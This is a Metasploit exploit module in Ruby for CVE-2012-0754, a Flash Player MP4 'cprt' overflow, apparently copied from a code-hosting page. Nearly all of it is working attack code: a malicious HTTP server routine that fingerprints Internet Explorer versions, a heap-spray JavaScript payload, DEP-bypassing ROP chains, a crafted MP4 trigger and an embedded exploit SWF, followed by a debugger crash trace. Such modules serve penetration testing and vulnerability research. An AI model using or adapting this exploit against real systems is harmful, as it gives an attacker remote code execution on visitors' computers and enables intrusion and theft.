310 lines
9.0 KiB
Ruby
310 lines
9.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "Adobe Flash Player MP4 'cprt' Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in Adobe Flash Player.
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By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
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remote code execution under the context of the user.
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This vulnerability has been exploited in the wild as part of the
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"Iran's Oil and Nuclear Situation.doc" e-mail attack.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Alexander Gavrun', # Vulnerability discovery
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'sinn3r', # Metasploit module
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-0754' ],
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[ 'OSVDB', '79300'],
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[ 'BID', '52034' ],
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[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
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],
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'Payload' =>
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{
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Flash Player 11.1.102.55
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# Flash Player 10.3.183.10
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x600', 'Ret' => 0x0c0c0c0c } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 15 2012",
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'DefaultTarget' => 0))
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def nop
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return make_nops(4).unpack("V").first
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end
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def get_payload(t)
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if t['Rop'].nil?
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code = ""
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else
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code = "\xbc\x0c\x0c\x0c\x0c" #Fix the stack to avoid a busted encoder
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end
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code << payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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rop =
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[
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0x77c4e392, # POP EAX # RETN
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0x77c11120, # <- *&VirtualProtect()
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0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77c2dd6c,
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0x77c4ec00, # POP EBP # RETN
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0x77c35459, # ptr to 'push esp # ret'
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0x77c47705, # POP EBX # RETN
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0x00000800, # <- change size to mark as executable if needed (-> ebx)
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0x77c3ea01, # POP ECX # RETN
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0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
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0x77c46100, # POP EDI # RETN
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0x77c46101, # ROP NOP (-> edi)
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0x77c4d680, # POP EDX # RETN
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0x00000040, # newProtect (0x40) (-> edx)
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0x77c4e392, # POP EAX # RETN
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nop, # NOPS (-> eax)
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0x77c12df9, # PUSHAD # RETN
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].pack("V*")
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when :jre
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c351e05, # NEG EAX # RETN
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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end
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pivot = [0x77C1CAFB].pack('V*') #POP/POP/RET
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pivot << [junk].pack('V*')
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pivot << [t.ret].pack('V*')
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code = pivot + rop + code
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return code
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[5] #IE 7 on Windows Vista
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("#{cli.peerhost}:#{cli.peerport} Browser not supported, will not launch attack: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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print_status("#{cli.peerhost}:#{cli.peerport} Client requesting: #{request.uri}")
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# The SWF requests our MP4 trigger
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if request.uri =~ /\.mp4$/
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print_status("#{cli.peerhost}:#{cli.peerport} Sending MP4...")
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mp4 = create_mp4(my_target)
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send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
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return
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end
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if request.uri =~ /\.swf$/
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print_status("#{cli.peerhost}:#{cli.peerport} Sending Exploit SWF...")
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send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
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return
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end
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p = get_payload(my_target)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js_pivot = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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heap_obj.debug(true);
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for (var i=1; i < 0x1C2; i++) {
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heap_obj.alloc(block);
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}
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heap_obj.debug(true);
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JS
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js_pivot = heaplib(js_pivot, {:noobfu => true})
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swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
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swf_uri << "/Exploit.swf"
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print_status("#{cli.peerhost}:#{cli.peerport} #{swf_uri}")
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html = %Q|
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<html>
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<head>
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<script>
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#{js_pivot}
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</script>
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</head>
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<body>
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<center>
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<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
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id="test" width="1" height="1"
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codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
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<param name="movie" value="#{swf_uri}" />
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<embed src="#{swf_uri}" quality="high"
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width="1" height="1" name="test" align="middle"
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allowNetworking="all"
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type="application/x-shockwave-flash"
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pluginspage="http://www.macromedia.com/go/getflashplayer">
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</embed>
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</object>
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</center>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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#
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# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
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#
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proc = Proc.new do |cli, req|
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on_request_uri(cli, req)
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end
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add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
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print_status("#{cli.peerhost}:#{cli.peerport} Sending html...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def cleanup
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remove_resource('/test.mp4') rescue nil
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super
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end
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def exploit
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@swf = create_swf
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super
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end
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def create_swf
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path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
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fd = ::File.open( path, "rb" )
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swf = fd.read(fd.stat.size)
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fd.close
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return swf
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end
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def create_mp4(target)
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mp4 = ""
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mp4 << "\x00\x00\x00\x18"
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mp4 << "ftypmp42"
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mp4 << "\x00\x00\x00\x00"
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mp4 << "mp42isom"
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mp4 << "\x00\x00\x00\x0D"
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mp4 << "cprt"
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mp4 << "\x00\xFF\xFF\xFF"
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mp4 << "\x00\x00\x00\x00"
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mp4 << "\x0c\x0c\x0c\x0c" * 2586
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return mp4
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end
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end
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=begin
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C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
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C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx
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(510.9b4): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
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eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
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*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
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Flash10x+0x48b65:
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10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
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=end
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